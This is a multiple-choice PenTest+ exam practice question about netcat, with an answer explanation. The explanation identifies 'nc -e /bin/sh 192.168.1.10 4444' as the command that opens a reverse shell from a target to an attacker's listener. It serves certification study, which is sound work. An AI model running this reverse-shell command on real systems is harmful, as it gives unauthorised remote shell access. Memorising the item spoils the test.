CompTIA PenTest+ PT0-002 Practice Question

When tasked with establishing a reverse shell on a target machine, which command using the discussed tool best fits the scenario?

nc -v 192.168.1.10 4444
nc -lvp 4444
nc -e /bin/sh 192.168.1.10 4444
nc -lp 4444 -e /bin/sh

Answer Description

Using the command nc -lvp 4444 would set up the listening post incorrectly, as this command is used on the attacker's machine, not the target. The nc -e /bin/sh 192.168.1.10 4444 would be the correct usage of Netcat on the target machine to execute a reverse shell, assuming that the IP address and port match that of the listening attacker's machine.
